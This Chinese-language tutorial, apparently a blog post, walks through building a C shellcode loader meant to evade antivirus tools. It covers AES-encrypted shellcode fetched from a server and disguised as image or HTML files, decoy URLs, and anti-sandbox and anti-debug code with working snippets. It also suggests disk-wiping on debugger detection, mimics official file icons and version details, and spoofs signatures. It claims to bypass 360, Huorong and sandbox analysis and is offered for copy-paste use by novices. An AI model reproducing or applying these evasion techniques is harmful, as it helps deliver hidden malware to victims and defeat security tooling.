看了很多C语言的免杀,大部分都是本地加载+异或加密或者多来几次异或加密,刚好有时间就用C语言写了一个shellcode加载器,无须安装任何库即可使用,实现了远程加载shellcode,AES加密解密,反调试,反沙箱,小白直接复制粘贴也能实现免杀。
shellcode加密
aes库在网上找了一个简单修改了一下,最终会打包vs的工程文件,生成shellcode直接写到代码里即可加密和生成免杀的马。
生成.C格式的shellcode
打开Aes加解密目录下的sln
自行修改密钥和自己生成的shellcode
设置完成后ctrl+F5
记录下shellcode length和加密后的值
shellcode分离加载
加密后的shellcode保存到本地,后缀最好改成html,png这类。然后python开启一个http服务或者apache在服务器开一个服务,以便远程加载调用。
打开AES加载器目录下的sln
修改key和加密那个项目的key一致
plaintext_length改为加密输出的shellcode length值
url换成自己托管的地址(这里可以多写一点没用的地址,比如url1=xxx,后面不调用,这样别人搜索字符串都是一些没用的地址)
然后生成解决方案,此时已经可以过火绒和360了,并且执行命令也没有拦截。
反沙箱
反沙箱一般可以从CPU个数,内存大小,mac地址,进程数量,USB接口数量等方式进行判断。
进程数量有些沙箱会开一些没用的进程,也能达到100多进程在运行。
USB接口发现在一些系统不是很准,而且有的地方不让插U盘。
所以常用的还是cpu和内存来判断。
通过上传调试文件得到微步沙箱CPU核数为4个,内存为6G
判断cpu个数和内存大小来过沙箱:
#include <Windows.h>
#include <stdio.h>
// 检查内存是否足够
int checkMemory(float minMemoryGB) {
MEMORYSTATUSEX memStat;
memStat.dwLength = sizeof(memStat);
GlobalMemoryStatusEx(&memStat);
// 打印总物理内存(以GB为单位)
float totalMemoryGB = (float)memStat.ullTotalPhys / 1073741824;
printf("系统总物理内存: %.2f GB\n", totalMemoryGB);
// 检查内存是否小于指定值
if (totalMemoryGB < minMemoryGB) {
//printf("系统内存少于 %.2f GB。程序退出。\n", minMemoryGB);
return 1;
}
return 0;
}
// 检查CPU核心数是否足够
int checkProcessors(int minProcessors) {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
int numProcessors = systemInfo.dwNumberOfProcessors;
printf("CPU核心数: %d\n", numProcessors);
// 检查CPU核心数是否小于指定的最小值
if (numProcessors < minProcessors) {
//printf("CPU核心数少于 %d 个。程序退出。\n", minProcessors);
return 1;
}
return 0;
}
写在main函数下面
// 内存和cpu最小值
float minMemoryGB = 6.0; // 最小内存为6 GB
int minProcessors = 4; // 最小CPU核心数为4
// 检查CPU和内存
if (checkMemory(minMemoryGB) != 0 || checkProcessors(minProcessors) != 0) {
printf("不满足条件\n");
exit(EXIT_FAILURE);
}
printf("内存和CPU核心数满足条件\n");
虚拟机测试,CPU和内存过小,程序退出
当然物理机还是没问题的,可以正常执行后面的代码
反调试
CheckRemoteDebuggerPresent函数用于检测指定进程是否正在被远程调试器监视。
为了防止附加进程,设置 BeingDebugged标志为1假装程序正在被调试。
BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
if (isDebuggerPresent) {
printf("调试环境");
return 0;
}
printf("正常环境");
PPEB pPEB = (PPEB)__readfsdword(0x30);
pPEB->BeingDebugged = 1;
放到OD运行提示调试环境
接下来把代码放到反沙箱检测下面,那些打印去掉,打包放在OD运行直接挂了,X32dbug一样挂。
有兴趣的还可以在检测到调试环境后加上格盘代码。
添加资源
添加—资源
选择icon—导入
选择ico图标,如果需要换图标直接替换ico文件。
替换图标后生成解决方案,有时候图标不会变,这时候重命名一下就可以刷新了。
添加详细信息:
这时候打包的文件是没有详细信息的
打开资源视图-在.rc文件右键添加资源
先把版本、公司、中文那些改了生成解决方案对照看看哪里还有问题
最终我们生成的文件和官方文件基本一致
添加签名
使用工具加签
项目地址:https://github.com/thelostworldFree/Sign-Sacker
免杀效果
火绒
360
微步沙箱安全
多引擎检测均为安全
virustota有一点高

























